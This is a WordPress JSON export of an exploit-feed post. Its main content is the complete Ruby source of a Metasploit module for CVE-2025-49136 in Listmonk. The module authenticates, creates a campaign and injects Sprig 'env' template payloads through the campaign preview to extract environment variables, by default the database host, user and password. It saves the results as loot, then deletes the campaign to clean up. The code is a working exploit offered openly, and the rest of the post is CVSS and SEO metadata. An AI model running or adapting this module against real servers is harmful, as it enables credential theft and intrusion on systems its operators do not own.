{"id":20864,"date":"2025-10-09T15:38:09","date_gmt":"2025-10-09T15:38:09","guid":{"rendered":"http:\/\/localhost\/?p=20864"},"modified":"2025-10-09T15:38:09","modified_gmt":"2025-10-09T15:38:09","slug":"listmonk-insecure-sprig-template-functions-environment-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=20864","title":{"rendered":"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-09T20:02:17&#8243;,&#8221;description&#8221;:&#8221;This module exploits insecure Sprig template functions in Listmonk           versions prior to v5.0.2. The env and expandenv functions are enabled      &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;modified&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Listmonk Insecure Sprig Template Functions Environment Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-49136&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n  include Msf::Exploit::Remote::HttpClient\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Listmonk Insecure Sprig Template Functions Environment Disclosure&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits insecure Sprig template functions in Listmonk\\n          versions prior to v5.0.2. The env and expandenv functions are enabled\\n          by default, allowing authenticated users with campaign permissions to\\n          extract sensitive environment variables via campaign preview.\\n        },\\n        &#8216;Author&#8217; =\\u003e [&#8216;Tarek Nakkouch&#8217;],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-49136&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/knadh\/listmonk\/security\/advisories\/GHSA-jc7g-x28f-3v3h&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-06-08&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e []\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      Opt::RPORT(9000),\\n      OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path to Listmonk&#8217;, &#8216;\/&#8217;]),\\n      OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Listmonk username&#8217;]),\\n      OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Listmonk password&#8217;]),\\n      OptString.new(&#8216;ENVVAR&#8217;, [false, &#8216;Comma-separated list of environment variables to read (uses default list if not set)&#8217;]),\\n      OptString.new(&#8216;CAMPAIGN_NAME&#8217;, [false, &#8216;Campaign name (random if not set)&#8217;])\\n    ])\\n  end\\n\\n  def check\\n    begin\\n      login\\n    rescue Msf::Exploit::Failed\\n      return Msf::Exploit::CheckCode::Unknown(&#8216;Authentication failed&#8217;)\\n    end\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;about&#8217;)\\n    })\\n\\n    return Msf::Exploit::CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res\\n\\n    if res.code == 200\\n      json = res.get_json_document\\n      return Msf::Exploit::CheckCode::Unknown(&#8216;Failed to parse version information&#8217;) unless json\\n\\n      if json[&#8216;version&#8217;]\\n        version_string = json[&#8216;version&#8217;].gsub(\/^v\/, &#8221;)\\n        version = Rex::Version.new(version_string)\\n        if version \\u003e= Rex::Version.new(&#8216;4.0.0&#8217;) \\u0026\\u0026 version \\u003c Rex::Version.new(&#8216;5.0.2&#8217;)\\n          return Msf::Exploit::CheckCode::Appears(\\&#8221;Listmonk version #{version_string} is vulnerable\\&#8221;)\\n        else\\n          return Msf::Exploit::CheckCode::Safe(\\&#8221;Listmonk version #{version_string} is patched\\&#8221;)\\n        end\\n      end\\n    end\\n\\n    Msf::Exploit::CheckCode::Unknown(&#8216;Could not determine if target is running Listmonk&#8217;)\\n  end\\n\\n  def get_nonce\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;login&#8217;)\\n    })\\n\\n    fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res\\n\\n    html = res.get_html_document\\n    fail_with(Failure::UnexpectedReply, &#8216;Could not parse HTML login page&#8217;) unless html\\n\\n    nonce = html.at(&#8216;input[@name=\\&#8221;nonce\\&#8221;]\/@value&#8217;)\\n    fail_with(Failure::UnexpectedReply, &#8216;Could not extract nonce from login page&#8217;) unless nonce\\n\\n    nonce.text\\n  end\\n\\n  def login\\n    nonce = get_nonce\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;login&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;nonce&#8217; =\\u003e nonce,\\n        &#8216;next&#8217; =\\u003e &#8216;\/admin&#8217;,\\n        &#8216;username&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n        &#8216;password&#8217; =\\u003e datastore[&#8216;PASSWORD&#8217;]\\n      }\\n    })\\n\\n    fail_with(Failure::Unreachable, &#8216;Connection failed during login&#8217;) unless res\\n\\n    if res.code == 302\\n      print_good(&#8216;Login successful&#8217;)\\n    else\\n      fail_with(Failure::NoAccess, \\&#8221;Login failed with code #{res.code}\\&#8221;)\\n    end\\n  end\\n\\n  def create_campaign\\n    # Use random campaign name to avoid collisions on re-runs and reduce fingerprinting\\n    campaign_name = datastore[&#8216;CAMPAIGN_NAME&#8217;] || Rex::Text.rand_text_alpha(8..12)\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;campaigns&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e {\\n        &#8216;archiveSlug&#8217; =\\u003e campaign_name,\\n        &#8216;name&#8217; =\\u003e campaign_name,\\n        &#8216;subject&#8217; =\\u003e campaign_name,\\n        &#8216;lists&#8217; =\\u003e [1],\\n        &#8216;from_email&#8217; =\\u003e &#8216;listmonk \\u003cnoreply@listmonk.yoursite.com\\u003e&#8217;,\\n        &#8216;content_type&#8217; =\\u003e &#8216;richtext&#8217;,\\n        &#8216;messenger&#8217; =\\u003e &#8217;email&#8217;,\\n        &#8216;type&#8217; =\\u003e &#8216;regular&#8217;,\\n        &#8216;tags&#8217; =\\u003e [],\\n        &#8216;send_at&#8217; =\\u003e nil,\\n        &#8216;headers&#8217; =\\u003e [],\\n        &#8216;media&#8217; =\\u003e []\\n      }.to_json\\n    })\\n\\n    fail_with(Failure::Unreachable, &#8216;Connection failed during campaign creation&#8217;) unless res\\n\\n    if res.code == 200\\n      parsed = res.get_json_document\\n      fail_with(Failure::UnexpectedReply, &#8216;Failed to parse campaign creation response&#8217;) unless parsed\\n\\n      campaign_id = parsed[&#8216;data&#8217;][&#8216;id&#8217;]\\n      vprint_status(\\&#8221;Campaign created with ID: #{campaign_id}\\&#8221;)\\n      return campaign_id\\n    else\\n      fail_with(Failure::Unknown, \\&#8221;Failed to create campaign: #{res.code}\\&#8221;)\\n    end\\n  end\\n\\n  def preview_campaign(campaign_id, payload)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;campaigns&#8217;, campaign_id.to_s, &#8216;preview&#8217;),\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;template_id&#8217; =\\u003e &#8216;1&#8217;,\\n        &#8216;content_type&#8217; =\\u003e &#8216;richtext&#8217;,\\n        &#8216;body&#8217; =\\u003e payload\\n      }\\n    })\\n\\n    fail_with(Failure::Unreachable, &#8216;Connection failed during preview&#8217;) unless res\\n\\n    fail_with(Failure::Unknown, \\&#8221;Preview failed with code: #{res.code}\\&#8221;) unless res.code == 200\\n    extract_results(res.body)\\n  end\\n\\n  def default_env_vars\\n    [\\n      &#8216;LISTMONK_db__host&#8217;,\\n      &#8216;LISTMONK_db__port&#8217;,\\n      &#8216;LISTMONK_db__user&#8217;,\\n      &#8216;LISTMONK_db__password&#8217;,\\n      &#8216;LISTMONK_db__database&#8217;,\\n      &#8216;LISTMONK_app__address&#8217;\\n    ]\\n  end\\n\\n  def delete_campaign(campaign_id)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;DELETE&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;campaigns&#8217;, campaign_id.to_s)\\n    })\\n\\n    if res \\u0026\\u0026 res.code == 200\\n      vprint_good(\\&#8221;Campaign #{campaign_id} deleted successfully\\&#8221;)\\n    else\\n      print_warning(\\&#8221;Failed to delete campaign #{campaign_id}\\&#8221;)\\n    end\\n  end\\n\\n  def extract_results(html)\\n    doc = Nokogiri::HTML(html)\\n    wrap_div = doc.at(&#8216;div[@class=\\&#8221;wrap\\&#8221;]&#8217;)\\n    fail_with(Failure::UnexpectedReply, &#8216;Could not find wrap div in response&#8217;) unless wrap_div\\n\\n    paragraphs = wrap_div.search(&#8216;p&#8217;).map(\\u0026:text).map(\\u0026:strip).reject(\\u0026:empty?)\\n\\n    if paragraphs.any?\\n      print_good(&#8216;Environment variable(s) extracted:&#8217;)\\n      print_line(&#8221;)\\n      paragraphs.each do |result|\\n        print_line(result.to_s)\\n      end\\n\\n      loot_data = paragraphs.join(\\&#8221;\\\\n\\&#8221;)\\n      store_loot(\\n        &#8216;listmonk.env&#8217;,\\n        &#8216;text\/plain&#8217;,\\n        rhost,\\n        loot_data,\\n        &#8216;listmonk_env_disclosure.txt&#8217;,\\n        &#8216;Listmonk Environment Variables&#8217;\\n      )\\n      print_line(&#8221;)\\n\\n      return paragraphs\\n    else\\n      print_error(&#8216;No results found in response&#8217;)\\n      return []\\n    end\\n  end\\n\\n  def run\\n    print_status(\\&#8221;Targeting #{full_uri}\\&#8221;)\\n\\n    # Determine which environment variables to extract\\n    if datastore[&#8216;ENVVAR&#8217;]\\n      env_vars = datastore[&#8216;ENVVAR&#8217;].split(&#8216;,&#8217;).map(\\u0026:strip)\\n      print_status(\\&#8221;Targeting specific environment variables: #{env_vars.join(&#8216;, &#8216;)}\\&#8221;)\\n    else\\n      env_vars = default_env_vars\\n      print_status(\\&#8221;Using default environment variable list (#{env_vars.length} variables)\\&#8221;)\\n    end\\n\\n    # Build payload with all environment variables\\n    payload_parts = env_vars.map do |var|\\n      \\&#8221;\\u003cp\\u003e#{var}: {{ env \\\\\\&#8221;#{var}\\\\\\&#8221; }}\\u003c\/p\\u003e\\&#8221;\\n    end\\n    payload = payload_parts.join\\n\\n    login\\n\\n    begin\\n      campaign_id = create_campaign\\n      print_status(&#8216;Executing template to extract environment variables&#8230;&#8217;)\\n      preview_campaign(campaign_id, payload)\\n    ensure\\n      # Clean up by deleting the campaign even if extraction fails\\n      delete_campaign(campaign_id) if campaign_id\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/gather\/listmonk_env_disclosure.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/gather\/listmonk_env_disclosure\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-09T20:02:17&#8243;,&#8221;description&#8221;:&#8221;This module exploits insecure Sprig template functions in Listmonk versions prior to v5.0.2. The env and expandenv functions are enabled &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;modified&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Listmonk Insecure Sprig Template Functions&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,86,12,169,13,7,11,5],"class_list":["post-20864","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-90","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=20864\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-09T20:02:17&#8243;,&#8221;description&#8221;:&#8221;This module exploits insecure Sprig template functions in Listmonk versions prior to v5.0.2. The env and expandenv functions are enabled &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;modified&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Listmonk Insecure Sprig Template Functions...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=20864\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-09T15:38:09+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE-\",\"datePublished\":\"2025-10-09T15:38:09+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864\"},\"wordCount\":1428,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.0\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=20864#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864\",\"name\":\"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-09T15:38:09+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=20864\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=20864#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=20864","og_locale":"en_US","og_type":"article","og_title":"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-09T20:02:17&#8243;,&#8221;description&#8221;:&#8221;This module exploits insecure Sprig template functions in Listmonk versions prior to v5.0.2. The env and expandenv functions are enabled &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;modified&#8221;:&#8221;2025-10-09T18:53:51&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Listmonk Insecure Sprig Template Functions...","og_url":"https:\/\/zero.redgem.net\/?p=20864","og_site_name":"zero redgem","article_published_time":"2025-10-09T15:38:09+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=20864#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=20864"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE-","datePublished":"2025-10-09T15:38:09+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=20864"},"wordCount":1428,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.0","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=20864#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=20864","url":"https:\/\/zero.redgem.net\/?p=20864","name":"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-09T15:38:09+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=20864#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=20864"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=20864#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Listmonk Insecure Sprig Template Functions Environment Disclosure_MSF:AUXILIARY-GATHER-LISTMONK_ENV_DISCLOSURE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/20864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20864"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/20864\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}